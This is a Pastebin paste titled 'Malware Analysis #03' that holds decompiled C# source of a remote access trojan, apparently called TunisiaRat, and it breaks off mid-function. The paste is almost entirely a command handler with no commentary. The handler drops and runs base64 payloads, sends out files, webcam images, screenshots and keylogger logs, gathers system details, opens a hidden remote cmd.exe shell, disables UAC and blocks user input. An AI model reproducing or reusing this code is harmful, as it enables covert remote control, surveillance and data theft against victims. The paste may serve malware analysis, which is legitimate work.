shamp0erna99

Malware Analysis #03

Mar 27th, 2021
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 98.78 KB | None | 0 0
  1. // Server.TaskhostEng
  2. // Token: 0x06000053 RID: 83 RVA: 0x00004318 File Offset: 0x00002718
  3. [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
  4. private static void Data(byte[] b)
  5. {
  6. string text = TaskhostEng.BS(b);
  7. string s = text;
  8. byte[] bytes = Convert.FromBase64String(s);
  9. string @string = Encoding.ASCII.GetString(bytes);
  10. string[] array = Strings.Split(@string, TaskhostEng.Yy, -1, CompareMethod.Binary);
  11. checked
  12. {
  13. try
  14. {
  15. string left = array[0];
  16. if (Operators.CompareString(left, "camdll", false) == 0)
  17. {
  18. if (!File.Exists(Path.GetTempPath() + array[1]))
  19. {
  20. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  21. Thread.Sleep(0x3E8);
  22. }
  23. }
  24. else if (Operators.CompareString(left, "SendpData", false) == 0)
  25. {
  26. TaskhostEng.C.Send("pdataready");
  27. if (File.Exists(TaskhostEng.processsockets))
  28. {
  29. Process.Start(TaskhostEng.processsockets);
  30. }
  31. else
  32. {
  33. File.WriteAllBytes(TaskhostEng.processsockets, Convert.FromBase64String(array[2]));
  34. Thread.Sleep(0x3E8);
  35. Process.Start(TaskhostEng.processsockets);
  36. }
  37. }
  38. else if (Operators.CompareString(left, "pdataready", false) == 0)
  39. {
  40. TaskhostEng.GetprocessSockets();
  41. }
  42. else if (Operators.CompareString(left, "pdataRefresh", false) == 0)
  43. {
  44. if (File.Exists(TaskhostEng.processsockets))
  45. {
  46. Process.Start(TaskhostEng.processsockets);
  47. Thread.Sleep(0x3E8);
  48. TaskhostEng.GetprocessSockets();
  49. }
  50. else
  51. {
  52. TaskhostEng.C.Send("SendpData");
  53. }
  54. }
  55. else if (Operators.CompareString(left, "endpdata", false) == 0)
  56. {
  57. Interaction.Shell("taskkill /F /IM " + array[1], AppWinStyle.MinimizedFocus, false, -1);
  58. }
  59. else if (Operators.CompareString(left, "camexe", false) == 0)
  60. {
  61. if (File.Exists(Path.GetTempPath() + array[1]))
  62. {
  63. Process.Start(Path.GetTempPath() + array[1]);
  64. }
  65. else
  66. {
  67. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  68. Thread.Sleep(0x3E8);
  69. Process.Start(Path.GetTempPath() + array[1]);
  70. }
  71. }
  72. else if (Operators.CompareString(left, "cam", false) == 0)
  73. {
  74. try
  75. {
  76. File.Exists(TaskhostEng.camimage);
  77. TaskhostEng.C.Send("cam" + TaskhostEng.Yy + Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.camimage)));
  78. }
  79. catch (Exception ex)
  80. {
  81. }
  82. }
  83. else
  84. {
  85. if (Operators.CompareString(left, "camclose", false) == 0)
  86. {
  87. foreach (Process process in Process.GetProcesses())
  88. {
  89. if (process.ProcessName.Contains("CamUpdate"))
  90. {
  91. try
  92. {
  93. process.Kill();
  94. }
  95. catch (Exception ex2)
  96. {
  97. }
  98. }
  99. }
  100. try
  101. {
  102. Interaction.Shell("taskkill /F /IM CamUpdate.exe", AppWinStyle.MinimizedFocus, false, -1);
  103. return;
  104. }
  105. catch (Exception ex3)
  106. {
  107. return;
  108. }
  109. }
  110. if (Operators.CompareString(left, "camlist", false) == 0)
  111. {
  112. try
  113. {
  114. while (!File.Exists(TaskhostEng.camDrives))
  115. {
  116. }
  117. StreamReader streamReader = MyProject.Computer.FileSystem.OpenTextFileReader(TaskhostEng.camDrives);
  118. string s2 = streamReader.ReadLine();
  119. TaskhostEng.C.Send(s2);
  120. }
  121. catch (Exception ex4)
  122. {
  123. }
  124. }
  125. else if (Operators.CompareString(left, "downloadfile", false) == 0)
  126. {
  127. TaskhostEng.C.Send("downloadedfile|BlueEagle|" + Convert.ToBase64String(File.ReadAllBytes(array[1])) + "|BlueEagle|" + array[2]);
  128. }
  129. else if (Operators.CompareString(left, "ssopen", false) == 0)
  130. {
  131. TaskhostEng.C.Send("ss");
  132. }
  133. else if (Operators.CompareString(left, "Acti", false) == 0)
  134. {
  135. TaskhostEng.C.Send("Acti");
  136. }
  137. else if (Operators.CompareString(left, "sendinformation", false) == 0)
  138. {
  139. int tickCount = MyProject.Computer.Clock.TickCount;
  140. int value = tickCount / 0x36EE80;
  141. int value2 = tickCount % 0x36EE80 / 0xEA60;
  142. int value3 = (int)Math.Round((double)(tickCount % 0x36EE80 % 0xEA60) / 1000.0);
  143. string text2 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", "ProcessorNameString", ""));
  144. string text3 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", "Identifier", ""));
  145. string text4 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "SystemProductName", ""));
  146. string text5 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "BIOSReleaseDate", ""));
  147. string text6 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "BIOSVersion", ""));
  148. string text7 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "SystemManufacturer", ""));
  149. string text8 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "BIOSVendor", ""));
  150. string text9 = Conversions.ToString(Registry.GetValue("HKEY_CURRENT_USER\\TunisiaRat", "ID", ""));
  151. TaskhostEng.C.Send(string.Concat(new string[]
  152. {
  153. "sendinformation",
  154. TaskhostEng.Yy,
  155. Environment.MachineName,
  156. TaskhostEng.Yy,
  157. Environment.UserName,
  158. TaskhostEng.Yy,
  159. MyProject.Computer.Info.OSFullName,
  160. TaskhostEng.Yy,
  161. MyProject.Computer.Info.OSPlatform,
  162. TaskhostEng.Yy,
  163. TaskhostEng.country,
  164. TaskhostEng.Yy,
  165. TaskhostEng.GetFirewall(),
  166. TaskhostEng.Yy,
  167. Conversions.ToString(TaskhostEng.GetSystemRAMSize()),
  168. TaskhostEng.Yy,
  169. "0.1.0",
  170. TaskhostEng.Yy,
  171. TaskhostEng.checkcam(),
  172. TaskhostEng.Yy,
  173. TaskhostEng.ACT(),
  174. TaskhostEng.Yy,
  175. Conversions.ToString(MyProject.Computer.Clock.LocalTime),
  176. TaskhostEng.Yy,
  177. Conversions.ToString(value),
  178. ":",
  179. Conversions.ToString(value2),
  180. ":",
  181. Conversions.ToString(value3),
  182. TaskhostEng.Yy,
  183. Environment.CurrentDirectory,
  184. TaskhostEng.Yy,
  185. Environment.SystemDirectory,
  186. TaskhostEng.Yy,
  187. Environment.UserDomainName,
  188. TaskhostEng.Yy,
  189. Conversions.ToString(Environment.UserInteractive),
  190. TaskhostEng.Yy,
  191. Conversions.ToString(Environment.WorkingSet),
  192. TaskhostEng.Yy,
  193. MyProject.Computer.Info.OSVersion,
  194. TaskhostEng.Yy,
  195. MyProject.Computer.Info.InstalledUICulture.ToString(),
  196. TaskhostEng.Yy,
  197. Environment.CommandLine,
  198. TaskhostEng.Yy,
  199. Conversions.ToString(TaskhostEng.port),
  200. TaskhostEng.Yy,
  201. Application.ExecutablePath,
  202. TaskhostEng.Yy,
  203. text2,
  204. TaskhostEng.Yy,
  205. text3,
  206. TaskhostEng.Yy,
  207. text4,
  208. TaskhostEng.Yy,
  209. text5,
  210. TaskhostEng.Yy,
  211. text6,
  212. TaskhostEng.Yy,
  213. text7,
  214. TaskhostEng.Yy,
  215. text8,
  216. TaskhostEng.Yy,
  217. TaskhostEng.vName
  218. }));
  219. }
  220. else if (Operators.CompareString(left, "TextToSpeech", false) == 0)
  221. {
  222. object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("SAPI.Spvoice", ""));
  223. object instance = objectValue;
  224. Type type = null;
  225. string memberName = "speak";
  226. object[] array2 = new object[1];
  227. object[] array3 = array2;
  228. int num = 0;
  229. string[] array4 = array;
  230. string[] array5 = array4;
  231. int num2 = 1;
  232. array3[num] = array5[num2];
  233. object[] array6 = array2;
  234. object[] arguments = array6;
  235. string[] argumentNames = null;
  236. Type[] typeArguments = null;
  237. bool[] array7 = new bool[]
  238. {
  239. true
  240. };
  241. NewLateBinding.LateCall(instance, type, memberName, arguments, argumentNames, typeArguments, array7, true);
  242. if (array7[0])
  243. {
  244. array4[num2] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array6[0]), typeof(string));
  245. }
  246. }
  247. else if (Operators.CompareString(left, "TurnOffMonitor", false) == 0)
  248. {
  249. TaskhostEng.SendMessage(-1, 0x112U, 0xF170U, 2);
  250. }
  251. else if (Operators.CompareString(left, "TurnOnMonitor", false) == 0)
  252. {
  253. TaskhostEng.SendMessage(-1, 0x112U, 0xF170U, -1);
  254. }
  255. else if (Operators.CompareString(left, "taskbaroff", false) == 0)
  256. {
  257. TaskhostEng.HideTaskBar();
  258. }
  259. else if (Operators.CompareString(left, "taskbaron", false) == 0)
  260. {
  261. TaskhostEng.ShowTaskBar();
  262. }
  263. else if (Operators.CompareString(left, "taskmanageroff", false) == 0)
  264. {
  265. TaskhostEng.task = "False";
  266. }
  267. else if (Operators.CompareString(left, "taskmanageron", false) == 0)
  268. {
  269. TaskhostEng.task = "True";
  270. }
  271. else if (Operators.CompareString(left, "exploreroff", false) == 0)
  272. {
  273. foreach (Process process2 in Process.GetProcesses())
  274. {
  275. if (process2.ProcessName.Contains("explorer"))
  276. {
  277. try
  278. {
  279. process2.Kill();
  280. }
  281. catch (Exception ex5)
  282. {
  283. }
  284. }
  285. }
  286. }
  287. else if (Operators.CompareString(left, "exploreron", false) == 0)
  288. {
  289. Process.Start("explorer.exe");
  290. }
  291. else if (Operators.CompareString(left, "blockmouseandkeyboard", false) == 0)
  292. {
  293. TaskhostEng.BlockInput(1);
  294. TaskhostEng.ShowCursor(0L);
  295. }
  296. else if (Operators.CompareString(left, "unblockmouseandkeyboard", false) == 0)
  297. {
  298. TaskhostEng.BlockInput(0);
  299. TaskhostEng.ShowCursor(1L);
  300. }
  301. else
  302. {
  303. if (Operators.CompareString(left, "setcli", false) == 0)
  304. {
  305. try
  306. {
  307. TaskhostEng.clipboardtext = array[1];
  308. Thread thread = new Thread(new ThreadStart(TaskhostEng.MYTHREAD));
  309. thread.SetApartmentState(ApartmentState.STA);
  310. thread.Start();
  311. return;
  312. }
  313. catch (Exception ex6)
  314. {
  315. Interaction.MsgBox(ex6.Message, MsgBoxStyle.OkOnly, null);
  316. return;
  317. }
  318. }
  319. if (Operators.CompareString(left, "code", false) == 0)
  320. {
  321. TaskhostEng.C.Send("code");
  322. }
  323. else if (Operators.CompareString(left, "script", false) == 0)
  324. {
  325. string userName = Environment.UserName;
  326. string str = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + userName;
  327. File.WriteAllText(str + array[2], array[1]);
  328. Process.Start(str + array[2]);
  329. }
  330. else if (Operators.CompareString(left, "startfun", false) == 0)
  331. {
  332. TaskhostEng.C.Send("fun");
  333. }
  334. else
  335. {
  336. if (Operators.CompareString(left, "setcliimg", false) == 0)
  337. {
  338. PictureBox pictureBox = new PictureBox();
  339. MemoryStream stream = new MemoryStream(Convert.FromBase64String(array[1]));
  340. PictureBox obj = pictureBox;
  341. lock (obj)
  342. {
  343. pictureBox.Image = Image.FromStream(stream);
  344. TaskhostEng.clipboardimage = pictureBox.Image;
  345. Thread thread2 = new Thread(new ThreadStart(TaskhostEng.MYTHREAD));
  346. thread2.SetApartmentState(ApartmentState.STA);
  347. thread2.Start();
  348. return;
  349. }
  350. }
  351. if (Operators.CompareString(left, "Winsx", false) == 0)
  352. {
  353. TaskhostEng.GetActiveWindows();
  354. }
  355. else if (Operators.CompareString(left, "getmymusicpath", false) == 0)
  356. {
  357. string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  358. TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath + "\\");
  359. }
  360. else if (Operators.CompareString(left, "OpenPro", false) == 0)
  361. {
  362. TaskhostEng.C.Send("OpenPro");
  363. }
  364. else if (Operators.CompareString(left, "RestProcess", false) == 0)
  365. {
  366. string[] array8 = array[1].Split(new char[]
  367. {
  368. 'P'
  369. });
  370. int num3 = 0;
  371. int num4 = array8.Length - 2;
  372. TaskhostEng.i = num3;
  373. while (TaskhostEng.i <= num4)
  374. {
  375. foreach (Process process3 in Process.GetProcessesByName(array8[TaskhostEng.i]))
  376. {
  377. process3.Kill();
  378. }
  379. Process.Start(array8[TaskhostEng.i]);
  380. TaskhostEng.i++;
  381. }
  382. }
  383. else if (Operators.CompareString(left, "GetProcesses", false) == 0)
  384. {
  385. string text10 = "";
  386. Process[] processes3 = Process.GetProcesses();
  387. foreach (Process process4 in processes3)
  388. {
  389. text10 = string.Concat(new string[]
  390. {
  391. text10,
  392. process4.ProcessName,
  393. "ProcessSplit",
  394. Conversions.ToString(process4.Id),
  395. "ProcessSplit",
  396. Conversions.ToString(process4.SessionId),
  397. "ProcessSplit",
  398. process4.MainWindowTitle,
  399. "ProcessSplit"
  400. });
  401. }
  402. TaskhostEng.C.Send(string.Concat(new string[]
  403. {
  404. "ProcessManager",
  405. TaskhostEng.Yy,
  406. text10,
  407. TaskhostEng.Yy,
  408. "Me",
  409. Process.GetCurrentProcess().ProcessName
  410. }));
  411. }
  412. else if (Operators.CompareString(left, "KillProcess", false) == 0)
  413. {
  414. string[] array10 = array[1].Split(new char[]
  415. {
  416. 'P'
  417. });
  418. int num5 = 0;
  419. int num6 = array10.Length - 2;
  420. TaskhostEng.i = num5;
  421. while (TaskhostEng.i <= num6)
  422. {
  423. foreach (Process process5 in Process.GetProcessesByName(array10[TaskhostEng.i]))
  424. {
  425. process5.Kill();
  426. }
  427. TaskhostEng.i++;
  428. }
  429. }
  430. else if (Operators.CompareString(left, "SProcess", false) == 0)
  431. {
  432. TaskhostEng.sco = Conversions.ToString(1);
  433. string[] array11 = array[1].Split(new char[]
  434. {
  435. 'P'
  436. });
  437. int num7 = 0;
  438. int num8 = array11.Length - 2;
  439. TaskhostEng.i = num7;
  440. while (TaskhostEng.i <= num8)
  441. {
  442. Process[] processesByName3 = Process.GetProcessesByName(array11[TaskhostEng.i]);
  443. TaskhostEng.SuspendProcess(processesByName3[0]);
  444. TaskhostEng.C.Send("SP");
  445. TaskhostEng.i++;
  446. }
  447. }
  448. else if (Operators.CompareString(left, "SProcessr", false) == 0)
  449. {
  450. TaskhostEng.sco = Conversions.ToString(2);
  451. string[] array12 = array[1].Split(new char[]
  452. {
  453. 'P'
  454. });
  455. int num9 = 0;
  456. int num10 = array12.Length - 2;
  457. TaskhostEng.i = num9;
  458. while (TaskhostEng.i <= num10)
  459. {
  460. Process[] processesByName4 = Process.GetProcessesByName(array12[TaskhostEng.i]);
  461. TaskhostEng.SuspendProcess(processesByName4[0]);
  462. TaskhostEng.C.Send("SP");
  463. TaskhostEng.i++;
  464. }
  465. }
  466. else if (Operators.CompareString(left, "SSProcess", false) == 0)
  467. {
  468. string[] array13 = array[1].Split(new char[]
  469. {
  470. 'P'
  471. });
  472. int num11 = 0;
  473. int num12 = array13.Length - 2;
  474. TaskhostEng.i = num11;
  475. while (TaskhostEng.i <= num12)
  476. {
  477. Process[] processesByName5 = Process.GetProcessesByName(array13[TaskhostEng.i]);
  478. IntPtr hwnd = TaskhostEng.FindWindow(array13[TaskhostEng.i], null);
  479. TaskhostEng.ShowWindow(hwnd, 1);
  480. TaskhostEng.C.Send("SP");
  481. TaskhostEng.i++;
  482. }
  483. }
  484. else if (Operators.CompareString(left, "SSSProcess", false) == 0)
  485. {
  486. string[] array14 = array[1].Split(new char[]
  487. {
  488. 'P'
  489. });
  490. int num13 = 0;
  491. int num14 = array14.Length - 2;
  492. TaskhostEng.i = num13;
  493. while (TaskhostEng.i <= num14)
  494. {
  495. Process[] processesByName6 = Process.GetProcessesByName(array14[TaskhostEng.i]);
  496. IntPtr hwnd2 = TaskhostEng.FindWindow(array14[TaskhostEng.i], null);
  497. TaskhostEng.ShowWindow(hwnd2, 2);
  498. TaskhostEng.C.Send("SP");
  499. TaskhostEng.i++;
  500. }
  501. }
  502. else if (Operators.CompareString(left, "KLACt", false) == 0)
  503. {
  504. Process process6 = new Process();
  505. foreach (Process process6 in Process.GetProcesses())
  506. {
  507. if (process6.MainWindowTitle.Contains(array[1]))
  508. {
  509. process6.Kill();
  510. }
  511. if (process6.MainWindowTitle.Equals(array[1]))
  512. {
  513. process6.Kill();
  514. }
  515. }
  516. }
  517. else if (Operators.CompareString(left, "UACon", false) == 0)
  518. {
  519. TaskhostEng.ReEnable_UAC();
  520. }
  521. else if (Operators.CompareString(left, "UACoff", false) == 0)
  522. {
  523. TaskhostEng.Disable_UAC();
  524. }
  525. else if (Operators.CompareString(left, "GOs", false) == 0)
  526. {
  527. string text11 = "ProcessSplit";
  528. if (TaskhostEng.controllers != null)
  529. {
  530. TaskhostEng.controllers = new SortedList<string, ServiceController>();
  531. }
  532. ServiceController[] services = ServiceController.GetServices();
  533. foreach (ServiceController serviceController in services)
  534. {
  535. string displayName = serviceController.DisplayName;
  536. bool flag = Operators.CompareString(displayName, serviceController.DisplayName, false) == 0;
  537. string text12 = serviceController.Status.ToString();
  538. string text13 = serviceController.ServiceType.ToString();
  539. string text14 = "|";
  540. string text15 = string.Concat(new string[]
  541. {
  542. text12,
  543. text14,
  544. displayName,
  545. text14,
  546. text13,
  547. text14,
  548. text11
  549. });
  550. TaskhostEng.C.Send(string.Concat(new string[]
  551. {
  552. "serrrrr",
  553. TaskhostEng.Yy,
  554. text15,
  555. TaskhostEng.Yy,
  556. Path.GetFileNameWithoutExtension(Application.ExecutablePath)
  557. }));
  558. }
  559. }
  560. else if (Operators.CompareString(left, "Voz", false) == 0)
  561. {
  562. string value4 = array[1];
  563. if (Conversions.ToDouble(value4) == 0.0)
  564. {
  565. TaskhostEng.msvc.Stop();
  566. }
  567. else
  568. {
  569. TaskhostEng.msvc.Start();
  570. }
  571. }
  572. else if (Operators.CompareString(left, "rename", false) == 0)
  573. {
  574. if (Operators.CompareString(array[1], "", false) != 0)
  575. {
  576. if (array[1].Length > 0)
  577. {
  578. TaskhostEng.vName = array[1];
  579. }
  580. }
  581. }
  582. else if (Operators.CompareString(left, "infoDesk", false) == 0)
  583. {
  584. TaskhostEng.imge_desik();
  585. TaskhostEng.C.Send(string.Concat(new string[]
  586. {
  587. "infoDesk|BlueEagle|",
  588. Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.ooo)),
  589. "|BlueEagle|",
  590. TaskhostEng.vName,
  591. "|BlueEagle|",
  592. Conversions.ToString(TaskhostEng.port),
  593. "|BlueEagle|Spy_Byte|BlueEagle|",
  594. TaskhostEng.GetFirewall(),
  595. "|BlueEagle|",
  596. Application.ExecutablePath
  597. }));
  598. }
  599. else
  600. {
  601. if (Operators.CompareString(left, "fastcam", false) == 0)
  602. {
  603. try
  604. {
  605. Process.Start(Path.GetTempPath() + "CamUpdate.exe");
  606. Thread.Sleep(0x3E8);
  607. }
  608. catch (Exception ex7)
  609. {
  610. }
  611. try
  612. {
  613. Interaction.Shell("taskkill /F /IM CamUpdate.exe", AppWinStyle.MinimizedFocus, false, -1);
  614. return;
  615. }
  616. catch (Exception ex8)
  617. {
  618. return;
  619. }
  620. }
  621. if (Operators.CompareString(left, "info", false) == 0)
  622. {
  623. TaskhostEng.Ready();
  624. TaskhostEng.imge_desik();
  625. try
  626. {
  627. TaskhostEng.C.Send(string.Concat(new string[]
  628. {
  629. "info",
  630. TaskhostEng.Yy,
  631. TaskhostEng.vName,
  632. TaskhostEng.Yy,
  633. TaskhostEng.pc,
  634. TaskhostEng.Yy,
  635. TaskhostEng.os,
  636. TaskhostEng.Yy,
  637. TaskhostEng.country,
  638. TaskhostEng.Yy,
  639. TaskhostEng.GetFirewall(),
  640. TaskhostEng.Yy,
  641. TaskhostEng.RAM(),
  642. TaskhostEng.Yy,
  643. "Spy_Byte",
  644. TaskhostEng.Yy,
  645. TaskhostEng.AC,
  646. TaskhostEng.Yy,
  647. TaskhostEng.checkcam(),
  648. TaskhostEng.Yy,
  649. Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.ooo))
  650. }));
  651. if (TaskhostEng.checkcam().Equals("Yes") & TaskhostEng.Fastcam)
  652. {
  653. if (File.Exists(TaskhostEng.camimage))
  654. {
  655. TaskhostEng.C.Send("camr" + TaskhostEng.Yy + Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.camimage)));
  656. }
  657. }
  658. else if (TaskhostEng.checkcam().Equals("Yes") & !TaskhostEng.Fastcam)
  659. {
  660. TaskhostEng.preparecam();
  661. }
  662. return;
  663. }
  664. catch (Exception ex9)
  665. {
  666. return;
  667. }
  668. }
  669. if (Operators.CompareString(left, "Uninstall", false) == 0)
  670. {
  671. ProjectData.EndApp();
  672. }
  673. else if (Operators.CompareString(left, "A", false) == 0)
  674. {
  675. TaskhostEng.invoker.Invoke(new TaskhostEng.rv(TaskhostEng.rvte), new object[]
  676. {
  677. array[1]
  678. });
  679. }
  680. else if (Operators.CompareString(left, "rss", false) == 0)
  681. {
  682. try
  683. {
  684. NewLateBinding.LateCall(TaskhostEng.DJB, null, "Kill", new object[0], null, null, null, true);
  685. }
  686. catch (Exception ex10)
  687. {
  688. }
  689. TaskhostEng.DJB = new Process();
  690. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardOutput", new object[]
  691. {
  692. true
  693. }, null, null, false, true);
  694. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardInput", new object[]
  695. {
  696. true
  697. }, null, null, false, true);
  698. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardError", new object[]
  699. {
  700. true
  701. }, null, null, false, true);
  702. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "FileName", new object[]
  703. {
  704. "cmd.exe"
  705. }, null, null, false, true);
  706. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardError", new object[]
  707. {
  708. true
  709. }, null, null, false, true);
  710. ((Process)TaskhostEng.DJB).OutputDataReceived += new DataReceivedEventHandler(TaskhostEng.RS);
  711. ((Process)TaskhostEng.DJB).ErrorDataReceived += new DataReceivedEventHandler(TaskhostEng.RS);
  712. ((Process)TaskhostEng.DJB).Exited += delegate(object a0, EventArgs a1)
  713. {
  714. TaskhostEng.ex();
  715. };
  716. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "UseShellExecute", new object[]
  717. {
  718. false
  719. }, null, null, false, true);
  720. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "CreateNoWindow", new object[]
  721. {
  722. true
  723. }, null, null, false, true);
  724. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "WindowStyle", new object[]
  725. {
  726. ProcessWindowStyle.Hidden
  727. }, null, null, false, true);
  728. NewLateBinding.LateSet(TaskhostEng.DJB, null, "EnableRaisingEvents", new object[]
  729. {
  730. true
  731. }, null, null);
  732. TaskhostEng.C.Send("rss" + TaskhostEng.Yy);
  733. NewLateBinding.LateCall(TaskhostEng.DJB, null, "Start", new object[0], null, null, null, true);
  734. NewLateBinding.LateCall(TaskhostEng.DJB, null, "BeginErrorReadLine", new object[0], null, null, null, true);
  735. NewLateBinding.LateCall(TaskhostEng.DJB, null, "BeginOutputReadLine", new object[0], null, null, null, true);
  736. }
  737. else if (Operators.CompareString(left, "rs", false) == 0)
  738. {
  739. NewLateBinding.LateCall(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StandardInput", new object[0], null, null, null), null, "WriteLine", new object[]
  740. {
  741. TaskhostEng.DEB(ref array[1])
  742. }, null, null, null, true);
  743. }
  744. else if (Operators.CompareString(left, "rsc", false) == 0)
  745. {
  746. try
  747. {
  748. NewLateBinding.LateCall(TaskhostEng.DJB, null, "Kill", new object[0], null, null, null, true);
  749. }
  750. catch (Exception ex11)
  751. {
  752. }
  753. TaskhostEng.DJB = null;
  754. }
  755. else if (Operators.CompareString(left, "sqlrss", false) == 0)
  756. {
  757. try
  758. {
  759. NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "Kill", new object[0], null, null, null, true);
  760. }
  761. catch (Exception ex12)
  762. {
  763. }
  764. TaskhostEng.sqlDJB = new Process();
  765. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardOutput", new object[]
  766. {
  767. true
  768. }, null, null, false, true);
  769. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardInput", new object[]
  770. {
  771. true
  772. }, null, null, false, true);
  773. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardError", new object[]
  774. {
  775. true
  776. }, null, null, false, true);
  777. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "FileName", new object[]
  778. {
  779. "cmd.exe"
  780. }, null, null, false, true);
  781. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardError", new object[]
  782. {
  783. true
  784. }, null, null, false, true);
  785. ((Process)TaskhostEng.sqlDJB).OutputDataReceived += new DataReceivedEventHandler(TaskhostEng.sqlRS);
  786. ((Process)TaskhostEng.sqlDJB).ErrorDataReceived += new DataReceivedEventHandler(TaskhostEng.sqlRS);
  787. ((Process)TaskhostEng.sqlDJB).Exited += delegate(object a0, EventArgs a1)
  788. {
  789. TaskhostEng.sqlex();
  790. };
  791. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "UseShellExecute", new object[]
  792. {
  793. false
  794. }, null, null, false, true);
  795. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "CreateNoWindow", new object[]
  796. {
  797. true
  798. }, null, null, false, true);
  799. NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "WindowStyle", new object[]
  800. {
  801. ProcessWindowStyle.Hidden
  802. }, null, null, false, true);
  803. NewLateBinding.LateSet(TaskhostEng.sqlDJB, null, "EnableRaisingEvents", new object[]
  804. {
  805. true
  806. }, null, null);
  807. TaskhostEng.C.Send("sqlrss" + TaskhostEng.Yy);
  808. NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "Start", new object[0], null, null, null, true);
  809. NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "BeginErrorReadLine", new object[0], null, null, null, true);
  810. NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "BeginOutputReadLine", new object[0], null, null, null, true);
  811. }
  812. else if (Operators.CompareString(left, "sqlrs", false) == 0)
  813. {
  814. NewLateBinding.LateCall(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StandardInput", new object[0], null, null, null), null, "WriteLine", new object[]
  815. {
  816. TaskhostEng.DEB(ref array[1])
  817. }, null, null, null, true);
  818. }
  819. else if (Operators.CompareString(left, "sqlrsc", false) == 0)
  820. {
  821. try
  822. {
  823. NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "Kill", new object[0], null, null, null, true);
  824. }
  825. catch (Exception ex13)
  826. {
  827. }
  828. TaskhostEng.sqlDJB = null;
  829. }
  830. else if (Operators.CompareString(left, "redsql", false) == 0)
  831. {
  832. NewLateBinding.LateCall(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StandardInput", new object[0], null, null, null), null, "WriteLine", new object[]
  833. {
  834. Path.GetTempPath() + "sqlmap"
  835. }, null, null, null, true);
  836. }
  837. else if (Operators.CompareString(left, "openkl", false) == 0)
  838. {
  839. TaskhostEng.C.Send("openkl");
  840. }
  841. else if (Operators.CompareString(left, "getlogs", false) == 0)
  842. {
  843. TaskhostEng.loggg = TaskhostEng.o.Logs;
  844. TaskhostEng.C.Send("getlogs" + TaskhostEng.Yy + TaskhostEng.loggg);
  845. }
  846. else if (Operators.CompareString(left, "!", false) == 0)
  847. {
  848. TaskhostEng.Rmote_Desktop.Clear();
  849. Size size = Screen.PrimaryScreen.Bounds.Size;
  850. TaskhostEng.C.Send(string.Concat(new string[]
  851. {
  852. "!",
  853. TaskhostEng.Yy,
  854. Conversions.ToString(size.Width),
  855. TaskhostEng.Yy,
  856. Conversions.ToString(size.Height)
  857. }));
  858. }
  859. else if (Operators.CompareString(left, "@", false) == 0)
  860. {
  861. int q = Conversions.ToInteger(array[1]);
